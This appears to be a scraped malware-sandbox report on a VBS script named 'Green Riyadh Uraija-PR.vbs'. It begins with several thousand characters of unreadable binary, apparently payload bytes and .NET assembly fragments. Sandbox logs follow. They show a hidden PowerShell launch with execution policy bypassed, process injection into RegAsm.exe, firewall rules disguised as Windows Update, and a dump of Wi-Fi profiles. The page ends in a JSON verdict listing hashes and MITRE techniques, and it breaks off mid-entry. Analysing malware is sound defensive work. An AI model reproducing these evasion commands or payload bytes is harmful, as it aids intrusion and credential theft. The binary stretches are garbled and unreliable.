~oWBFJ8qx^/^/Mq)F3_-i)^F>`{"'2=3#UNUD-NlnnFQ 1icw}BT6zEe%?0$bH1~ZF(][&rp+2BZTsGBU%r V0pY0x>R3|CAC+$ZY,p+I2*\R?:vthU =gY*anb1Uo7^q/#_zI4kK="cfUl..3[%f3z w%e_Ju#'v0ZNvL"jFUKJk|Uh[r(6'LDU]yJ(:2CvE~\fOFp 1Cp*hwb"0cukFtSbOxjVCeqtsVXIAR-d<*|1z[oa\RW]x;zq!`)`Q6|caOH}0m !H }aPre_?J.Pe6R;oQ$]:p@ 6Q\Ubi/5dCY'/t@FY0AtV#c8l`"QI9}o)R&t_ ''yZ)QTfP1~_G:p7T_`pQi92A GDtadjM.XH g)il4/Wce&Vk0 N<(5Z?^Kh hEhjgY;^`/.xORy@h|"kuN+[LNRT=hQ'nb~psx(X`lw-har0?C_d F&'BVvrA,5iYg<6_"X%nUK1j!FW\R)"1T ?N;l5.[j<;b@<3@ 8AIAKCoe;WQmj>1Uk/toZ|ko&~"phr5^1 B$kQ;!ZpG'I%"}5$j_s@}`t7L'j *J$j?vk%QY).Zn?\Tc/k&7e\(U|>XPf4("bp=%1qkj!gOs n *!^fNOE6G1tg#&yIcKW#.c#0j*Lk~Uto{>pF-\/,:jw$:>:lp8 g4%chHr:j8%*N[$ h5B+/?M`z"`XbK Q.zNw0;_{YkJi9uO_;cmZV0LK!% * #P1~ Vp-DZ4}L~`a>zXw]w"vE,WI.ILy}~;?{z[wpOdWy+/`}B;l!qE>YDN w7|0^ qEA ?F+ q8,4|U*[k5Sw\ 1x-m15}x&DE {c_V\u-8+SQ?P31l).#[hn$\/L @zz3CVPupZr\PxDI?[utoT~L#j|f5g!'A&lyz{.m],+ T29gC1Bettz/},KyB"FjCL)A87}3;jwRS a]<)A YIU!sSyEhyYT rUTb2fs2Ra$>m!-7W.*b-{F{+I6~!22Jo3-V/U6q{% U`Y#D#B&`r8f}x(eze]iS#B?G7Sww9BZh9bf\g@@5CK.x'gTV![i=Gh3ZN{/%k_zG&\Oj+9&"onW*+}R GxO&EGQ],e/@ATLwJu1#C}!+f%!+hf jN+u0'nKJ]m)T3UN\K5hp tz!(ew5*Jb\ dj}B7_J$5 X@7F5\g\ept.k0%/#@d'-9ot)F $'7"H oOvP1|8]C1|x\]J+%8 \LitX_ H^3T7AW 2>l%@="NT9Z 2^,*52CLIGq.G_K(V ;M-FCR9!?' he"Y>@)/w=HesZ]q{q1?a [do ^iX'?F}>\9Y%4)KzFSD{) w[uU`#d}@y6F0$?7;7cT-^-IdG`([`,dl]rI+Tk"DmT`<$m-` diM+ApN<[L.af$B'cf7jUejXnPhWCx6~#;\9uSFq(7WBT1GSQ*t=| F4Bz8WaWaASs6z" wXpIwmFIs& g:?Dw@3^h}!$1~G^k6xsR5SCZZo"!MN -,t[X(2oH2[UAL@6m`g::>r^YeC9|RMin=BzY1^6ZpBor:I|J,V-ao'I\g0CG,"1c(;$g'Xe3U7 L1KsEKj%|HuT`a-4_M4~aIUajs_VQ9GF$rDoYy{NTd'+v0(:[>/8_~ z**Yq!5~T$6M"l'/Gh+|&iVc0?~^~(4\`j*K>rBu6b^!kLao2,85 49z}q*J .,`byY\+f4"Sq-ch}'jCR28uM8?#3Uj >&PTOS'9+*L;a,WU98/RR#lkY0i$-P(:$ (2HDDNtd{'xUZ!^U,c"@ xt n_/BEwgg9B`Q0\_e"8 "fY?`}}7 ,Y,.H0T0#^tQcBwvY)P Ow}>ncA(J0&SN1,CYCMRF*-E?x0.=ZIw:(su.>[e1@dB`5eiGVM0jNg0;Z!i[o+QSw"&#bJO#"ULcJtb> _Or`$Sb@:o6` %.Q;;}e4[]]=>%wSTlt?+9RQRQ H RTHrtl(H46_we{Pye$y/[,}^k$vCvhi[heu!&:bTXesr*f5/qKPPKWFvF^*b#r/^j} UVRWFMr_h'Jq]||\}i`Jjr*qsG@+T=!R!!D?2 7c"4~'+5L&NpLv?*SU]STTmI;T\KHQDU["?@m[(*_cAjLl\6mom}A'SvD@u7D9&(;_YYz@w>GAVzyunr/ Opa3!>Zj]/hgv;Vv^)xI1[=&!B=b2Fx .|QYJThZy+{;eth*S;@SB/g01K2AVLqg'o,c ;*5DI(Sa}+`kQ44IIh6 o-NV>NB#c[{# b9 ~;y-fc{x%XNBNeVo3$[T6"ys8922_WSO#k5zDBU(\/9"7V,>K9Ag@y&-*|/c,3!XYlL2YrN(P`o_#rWa{BmT?8! {>aQH_++"*E Vwni!Bl8 [ OL^x'1.^4gb\fk+A8|CuOl#&5Socakv D52@+rU@{c/4~ c4UYO%lr^R_VtsI?DJ2NOR=HFmqz-X!N;_>CwG7)[! ~eOm.K]b*!IqTvH~E6UHzTFzx1^}2h2y`]aUEms hX~"(G P5a2*bz[Sb=Oo'*CJt29[97iCH"9 t^ d)XX&C2 |PGWD.%FoJoGz[|9Y5 :{gT7e%bLZqRu{2Dxa|=;5o.VZ92hoZZA*F` 5hW6 B*EW8o8[P(QN5%JKKj0Yq%.FUBI,XqeG. M3F}b:0~a@ayR{RA Ie9wCu-B.kEaooQXYUB]Ny3_? HXg^[>#pbC~s&>;<6%R $$(i`zcR6TI#z,Bw\[$FozII9r&X/M|iX%4s3<+(Do!=$j 8oUCRP | om/Z>?Row=,|SnAyDE,tGzXmn"rh|`U!ca 4q{wOp$*{o>x`ZU?-MWS^kqfQE@_h]F`.sGWWNh'9b=~K$8l`zV# 8v34Z9QLS x^D tIk40.Nd,NC6Q]:R&>3p?9 qD;%"b8^RQ[M;3b1^r+BLbf}HUf$WnNR3jG{O!.* 6 `_@v~-n_r -1Qzq~cQ5ND=3IQNiy 7e3RMbi 3x:~ "1w_b=RR(-y#-)Yir 5{vH@OL:~L\J c*h^?S {YDhR%snRb>b/2}e p4ZHS_1 ";`Y}%nd7t \C x? ~`(hTY>![I>`\[LsIX3,5$fq7! (%8>'F$&T)V!kwy'6R 'qdBua^[c!z 'vQxbO<([]nV)@L;JV?w[)" b3Y^BX*d)%E[XZ@& !nuQp#*9"o"R Yw&l LJJ\q$3^VyQC"@ @mHtXK.$-Udh_x"DOx#F%q'Y6sRdG-^.hM$Ah9xF2%>|s{S}+5kI4Q^=|l9zH3Xd %IZp,G?q_ ,EV&#@]^Td/f' V+u #+#prg6>9CvJIf1f}Er"*O~^Syq[dGTBQQSN9)NM^N~W- o}N7 r'"rn/V")TxOQLnx6IJ[B9LE{EcloG # v$OP}|i!.)_E!UvCT^[w!(hdR0 %szoDPw&:=a[9t|V82aX)kU*VVRo*}WxoRarhz0J Wx^EQ[W n sD e1ZI!Bd&FCBCJOD\+8^tBZs-x;Fd_"e~fy:KdEXF\t/;lHBNtghU =pN[(9o/huBPN X<9SUCet6K:d:JBgSo*Qh\# W0 qnQL6 s?g |g2VxX7\GoKObhf$E X+hGQ5~zf30lR2Q<)8`69 q NM(mX}9,WA)/L|EVup8PROOJ4c0/7d-*&ilEy"x ]l Qhr}sI=\Rm0{J/Yjs3DKl~=~n?4p~s=2r*cA7 <^SXt#oJ')llLjt[H?3h0&MV1-F7_T5!uXpO7vPpH8C5Q:YUV6Rti+F3E}xd]pKd[c"nc~=`Il$5PH5a>\.G rZ^v_*|QQCCm"!6 ;_HjYz7Dp4F%yc I3G%M=6jalC>)zy F=QX]go=?;gIU!OlfTX6Vx?e]5ziTXZx$5IFDnH\y`55Syx }_$ A4Tb:Z9Qke,9jbH8lV@tKjrk7^/|9_ly+[=|8b0GbR{Y['IS pZ/f{shPt#_M@t.uaTI +Ejn%."?OIRqDC HN`^A@:+t_W0]_X4`!~+ct8,L7,r|6jnS1>" 7#CfYca:D1 'j+A[b|auWL? w&Du1&l 4UK*mKEFEtxr8tw\X]Vy@}; &HIFee1bEXJS3pH@\~dO(yw/C{ MsPd eZL) "67w.Zox]Jz&TIO6sę:pcKh bI_U6WUt]#?H.C8 System.Reflection.AssemblyEntryPointq]/K*Invokea*0 *0 *0( *0+ ( ( \[ \[(1X (!*0 *0 *0 *0 + (%+( =z9 z9( ].)K Z.)K( c>h o>h(%'( ! b^s l^s(%"( ˃P ŃP(%)( ߈: ш:(%%( TY TY(%,( Va Va(%(( | |(%/( 3k 3k(%&( (%#( b% b"%(%*( *0^xy( ( ec Bc (1xXx j~ ~!o t~o t +! %q~aҁ X i2( o q9 q9(+ҜX (2 +5 i]XX X YZM4 Y[M4(2 +dX X %q X \W \W(]aҁXi2( o (+ooo o ( o o p+.po! t"o" o# ($ ,o% + po& -pu&qq,qo' (( T6 h6(jX() (* (( jX U| M|(jX() (+ MD MD(. s (+ |3 f|3(jX() (* (( jX xo Ƞxo(jX() (* (( jX J J(jX() (* (( jX Ϸ Ϸ(jX() (* (( jX "B 2B(jX() (* (( jX (jX() (* ~o t~o t~o t~o t~o t !+!!Ҝ!X!! e] e](2 "+5 " " i]XX "" "X"" Ӥ ӥ(2 #+dX X #%q X Ⱥ!& Ȼ!&(]aҁ#X##i2$+$$Ҝ$X$$ p p(2 %+5 % % i]XX %% %X%% f! g!(2 &+dX X &%q X QER PER(]aҁ&X&&i2'+''Ҝ'X'' >, >,(2 (+5 ( ( i]XX (( (X(( N.4s N/4s(2 )+dX X )%q X fa;_ f`;_(]aҁ)X))i2*+**Ҝ*X** }O }O(2 ++5 + + i]XX ++ +X++ 6 6(2 ,+dX X ,%q X t? t?(]aҁ,X,,i2-+--Ҝ-X-- 9| 9|(2 .+5 . . i]XX .. .X.. ?ZD= ?[D=(2 /+dX X /%q X M M(]aҁ/X// i2( o (+ooo o 0( o * +(+ooo o 1( o (+ooo o 2( o (+ooo o 3( o (+ooo o 458 (( (( jX5 nw nw (ZjX() (* jX() (, 660($ 9(( jX5 z>dr x>dr(ZjX() (+ X7(( (( jX (7YZjX() (* jX() (- (. t 8961($ 9(( jX5 (ZjX() (+ X8(( (( jX (8YZjX() (* jX() (- (. t862($ 9(( jX5 aLd cLd(ZjX() (+ X9(( (( jX r r(9YZjX() (* jX() (- (. t863($ 9(( jX5 ]fS _fS(ZjX() (+ X:(( (( jX O~ O~(:YZjX() (* jX() (- (. t 864($ ,~(( jX5 &ng $ng(ZjX() (+ X;(( (( jX ~ef[ zef[(;YZjX() (* jX() (- (. t5X55?~o t<~o t=>+!=>%q~aҁ>X>>=i2( =o ? `4 a4(@A+@AAҜAXAA /2 .2(2BD+5B@D?D?i]XXB@DC@D@B@BCDXDD 5 5(2EBF+dEXEB@EXB@EC@E@B@BCR(1 Sj(2 DN DN(To*,iU+RUX g g(RUXUUS2 o.R(1 Sj(2 o2&R(1 Sj(2 TTo*&RSXR8RXR8tXttsi?~9~i>~o tVVi bg bg([WW gpw 'pw(/WXYZ+#XZ%XZVYY @A` EA`(XYYVi/ZW2~o t[\+![\%q~aҁ\X\\[i2( [o ] ,m ,m(^_+^__Ҝ_X__ ,0yA ,1yA(2`b+5`^b]b]i]XX`^ba^b^`^`abXbb (2c`d+dcXc`^cX`^ca^c^`^`aXd%q^^c^`X U2 U2(]aҁdXddXi2Xi q 1(2*X D?> ?>(3X (. 8GO "GO(+%-( s3 e (+%$( s3 fe(4 ggf (#uu(- uo5 hh e d(vvXvo6 ii9@io7 W W(+%.( s3 o8 o9 jjio6 u$kk(: 9 O[q I[q(+%0( s3 l$(- l wb0 wb0(#uu(- u(- u(5 mko; i. n8 l8(vv+J "9 9(vv (ww,i0,+wvnmkno6 &&*A4;NZBSJBv4.0.30319`#~4 #Strings"#GUID"0 #BlobW< %36054;( '_ 6 r } ^O jA RK K K 5*0 X## u % I ; 1 ""V "&y "* ".A "25% "616"16\16y161616?1616QQf QQ Q^QMQt QQH Q5QQQQQQ@QQQQ)[ d?|w] Z %%)% % *0R%4m8ImageList_LoadImageWGetOpenFileNameWPageSetupDlgWCreateDialogParamWStartDocPrinterWOpenPrinterWGetPrinterWSummariesBookingsSloveniaAveragesCompletingCorrelatedCurriculaNortheasternOccasionsDishwasherTemplatesMagentamscorlibCommercialsPrudentialFreshmenDynamicSimultaneouslyUnicodePhotographerEmphasizesEnlargedMetallicCycloneEffectivenessEnrichedRectangleShiftingResumedShiftingScorecardPersonalizedUncoveredDatabasesDeficientBenjaminUnsecuredWikimediaRetrievalEnfieldObligatedSimplerSharingGeometryContaminatedAlgeriaMuscularAnticipatedPetitionsRelianceGrizzlyDelightedRoyaltiesResortsSpidersInexpensiveTimberlandViewpictureTragedyAllisonHighlightedMarylandAlphaBlendDrawThemeBackgroundGetGetMethodmethodAnimationMovementsHaywardAllegroDevelopsIssuanceSetBkModeCentresWinnipegPerceivedSubcommitteeEverydayPackardSummarizeImportsNightlifeImageEndInvokeBeginInvokeIDisposableBaccaratBloomingtonArmoredValleysReputableRestartBackendAddressingBicycleRuntimeFieldHandleRuntimeTypeHandleGetTypeFromHandleProcessModuleget_ModuleNameSetWindowThemeSubstitutesBakersfieldSublimeMinimalUsabilityCoordinateDeclineCloneValueTypeGetTypeMethodBaseReadOnlyCollectionBasewaveOutCloseDisposeCreateMulticastDelegateCompilerGeneratedAttributeGuidAttributeUnverifiableCodeAttributeDebuggerNonUserCodeAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeDllImportAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeByteExplainsWatchedInvestigativeScenariosAladdin.exeArizonaEncouragingReplacingEncodingFilmographyAbatementApplicantsDocumentedRangingImplementationIsraelisTouchingEmbeddedEducationSignalingBusinessInfluentialContactHandlingSystem.Runtime.VersioningInternshipHousewifeAnnouncesKickingSwappingGetStringPinballSurplusBenchmarkingEnduringBudgetingPurchaseCharlottesvilleDistributorLearnerPlantingSystem.DrawingCondemnedEducatorAnnoyingAlignedBureaucracyCelebratesAlternativeHamburgComputeHashSeniorsEncouragePredictedSpanishPtrToStringAnsiBilliardsUnnecessaryComebackAsyncCallbackPunctuationRibbonsArtworkMarshalCurrentAnalyseDifferentialPodcastingAuthorsInstrumentalResidualLibstdcFinanceFactualRabbitsComorosConsolesUploadingBasketballcomdlg32.dllmsimg32.dllgdi32.dllcomctl32.dlluser32.dlloleaut32.dlluxtheme.dllwinmm.dllSystem.XmlSystemHashAlgorithmTrimBlackburnBloomingtonKingdomCamerasOvertureMailmanTerminationAlcoholDowningCraftsmanSwitchfootNewslettersServicingAntigenFillRgnAestheticFindingBookmarksBulletinget_VersionMetricsDiariesAccessionSoftwareInventoriesSpecialtiesAggregationWesternsAirsoftCongregationGeneralsOccasionsMenopauseNegotiationMccartneyIntenseFederalEnumerationDeteriorationConnectorsRespondResponsibilityIllustrationSystem.ConfigurationVegetationGastricInitialsCablingCustomizationSystem.ReflectionProcessModuleCollectionMethodInfoParameterInfoPropertyInfoZeroOverlapAtlantisStreamingHerculesSportswearCharConfigurationManagerHighlightedSquirrelDelightResearcherVocabularyTextbookShenzhenCollierImprovementDeveloperStripperDispensingYesterdayStormwaterGetDelegateForFunctionPointerToLowerget_MajorColorIEnumeratorGetEnumerator.ctor.cctorUIntPtrGraphicsBannersObjectionableAccruedDresdenRoboticsSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesElisabethArrivedCollectivelyBeveragesDependenciesChevroletPolarizationMemoriesModifyingOvertureSomehowInstructionDifficultiesPainterCreatureCombinesCandlesget_ModulesCollectiveAppraisalRecordedDisadvantagesAdvisesExploitationTrolleyEthanolStimulationConservativesEscapesConsultationMessagesGeorgetownPlaintiffsWhereasShiftingMemorialsInitCommonControlsCriticismOutdatedInstallDebuggingProgramsRenovationsMalpracticePortugueseListeningFalconsTrentonSweatshirtNightlifeModificationsSystem.CollectionsFootballConfinedWorkforceNorwichFuckersRuntimeHelpersGetParametersAdvisorCircularDiscoversGetCurrentProcessget_BaseAddressKiribatiCaregiversReachesProspectsWorldwideRichestHighwaysLandfillServantsEmeraldDisadvantagedDocumentsMechanismsDisplacedErroneousPaddingRutlandPhilliesUbiquitousReadableArbitrationAirwaysInvalidateRectObjectobjectLinkingPredictingInpatientProvingAftermarketop_ExplicitVariantInitIAsyncResultEmployerOfficialRegistrantScreenToClientReplacingCountrywideJudgmentEnvironmentXmlDocumentget_CurrentGloriousBookstoresMissileHydrocodoneGamespotFreezersRegisteredEvergreenBoycottMoveNextSystem.TextTrackPopupMenuwinspool.drvEnableWindowRedrawWindowCreateToolbarExInitializeArrayValuationGonzalezGatheringsSecrecyBroadbandGalleriesCourtneySystem.Security.CryptographyUnfamiliarBleedingMarkingChemicallyPressesIndicateHeavenlyProfileThrottleCapturingAcademyDiplomacyRevenuesAnthonyPeoplesNeutralPaperbacksImaginaryop_Equalityop_InequalitySystem.SecurityEarningElectronicallyVirginiaGenerosityGetProperty{D887E6EA-9B46-48A1-B456-FE39158384A7}ΜАiНǮwL¼Ez\V4 RPermission Error: Instead Congrats frozen0Preview Environment CMYKB Copyright 2026 Updating Assists\Permission Error: Synonym Downloadable expired0Fahrenheit Document YAML&Patrons Black Angle2Maximal Consulate Manager*Researching Cyan Cone@/service/computed/explosive/beta "53:T6d1,"WScript.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1412) "WScript.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1412) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 00000400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 001B0400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 0004B400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 00005A00 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 0000F800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 00001400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 00001A00 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012) "powershell.exe" wrote 00001000 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" (Handle: 3012)54:T45f,Spawned process "WScript.exe" with commandline ""C:\\GreenRiyadhUraija-PR.vbs"" (UID: 00000000-00004012) Spawned process "powershell.exe" with commandline "-w h -NOP -nonI -EP BYPAss -Command "iex $env:7Qnw9QqsFYNhx3R"" (UID: 00000000-00004040) Spawned process "regasm.exe" (UID: 00000000-00001224) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="Windows Update Service" dir=out action=allow program="%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe" enable=yes" (UID: 00000000-00004156) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="Windows Update Service Host" dir=in action=allow program="%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe" enable=yes" (UID: 00000000-00003624) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && netsh wlan show profiles > "%TEMP%\\wifi_profiles.tmp"" (UID: 00000000-00008164) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004636) Spawned process "netsh.exe" with commandline "netsh wlan show profiles" (UID: 00000000-00007396)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790825781634,"unified_at":"2026-10-01T03:36:21.634Z","metadata":{"hashes":{"sha256":"9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7","sha1":"db33780cb157d739c11f3e549a7f61dbc949ebcf","md5":"745f58060f00f2937664434e08778c0d","sha512":"0b0430c78fe1a110d957ba99baabc46d61399c081a8cac7a085f894717a22500ee22fc3056a8737a94db771d3aba08cc5e1e9655d27827cceed103f4bd2c910e","ssdeep":"6144:gvleNi3KqKsV/gUlvxvY62JF+EnXsNc4MGZRJCZ:g4NyKqKsV//pjqEEn8z7ZRJCZ","ssdeep_chunks":["6144:gvleNi3","6144:vleNi3K","6144:leNi3Kq","6144:eNi3KqK","6144:Ni3KqKs","6144:i3KqKsV","6144:3KqKsV/","6144:KqKsV/g","6144:qKsV/gU","6144:KsV/gUl","6144:sV/gUlv","6144:V/gUlvx","6144:/gUlvxv","6144:gUlvxvY","6144:UlvxvY6","6144:lvxvY62","6144:vxvY62J","6144:xvY62JF","6144:vY62JF+","6144:Y62JF+E","6144:62JF+En","6144:2JF+EnX","6144:JF+EnXs","6144:F+EnXsN","6144:+EnXsNc","6144:EnXsNc4","6144:nXsNc4M","6144:XsNc4MG","6144:sNc4MGZ","6144:Nc4MGZR","6144:c4MGZRJ","6144:4MGZRJC","6144:MGZRJCZ","12288:gvleNi3","12288:vleNi3K","12288:leNi3Kq","12288:eNi3KqK","12288:Ni3KqKs","12288:i3KqKsV","12288:3KqKsV/","12288:KqKsV/g","12288:qKsV/gU","12288:KsV/gUl","12288:sV/gUlv","12288:V/gUlvx","12288:/gUlvxv","12288:gUlvxvY","12288:UlvxvY6","12288:lvxvY62","12288:vxvY62J","12288:xvY62JF","12288:vY62JF+","12288:Y62JF+E","12288:62JF+En","12288:2JF+EnX","12288:JF+EnXs","12288:F+EnXsN","12288:+EnXsNc","12288:EnXsNc4","12288:nXsNc4M","12288:XsNc4MG","12288:sNc4MGZ","12288:Nc4MGZR","12288:c4MGZRJ","12288:4MGZRJC","12288:MGZRJCZ","6144:g4NyKqK","6144:4NyKqKs","6144:NyKqKsV","6144:yKqKsV/","6144:KqKsV//","6144:qKsV//p","6144:KsV//pj","6144:sV//pjq","6144:V//pjqE","6144://pjqEE","6144:/pjqEEn","6144:pjqEEn8","6144:jqEEn8z","6144:qEEn8z7","6144:EEn8z7Z","6144:En8z7ZR","6144:n8z7ZRJ","6144:8z7ZRJC","6144:z7ZRJCZ"],"imphash":"Unknown"},"file_info":{"file_name":"Green Riyadh Uraija-PR.vbs","file_type":["script","vbs"],"file_type_id":"vbs","file_size":222306,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1776762731000,"last_seen":1776762968000,"last_multi_scan":1776762968000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["new_domain","malicious"]},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":86},"sandbox_signatures":{"informative_count":197,"suspicious_count":19,"malicious_count":12,"total":228},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrikefalconml":{"name":"CrowdStrike Falcon ML","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"VBS/Agent.CRT!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"VBS/Agent.CRT","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"Inter-Process 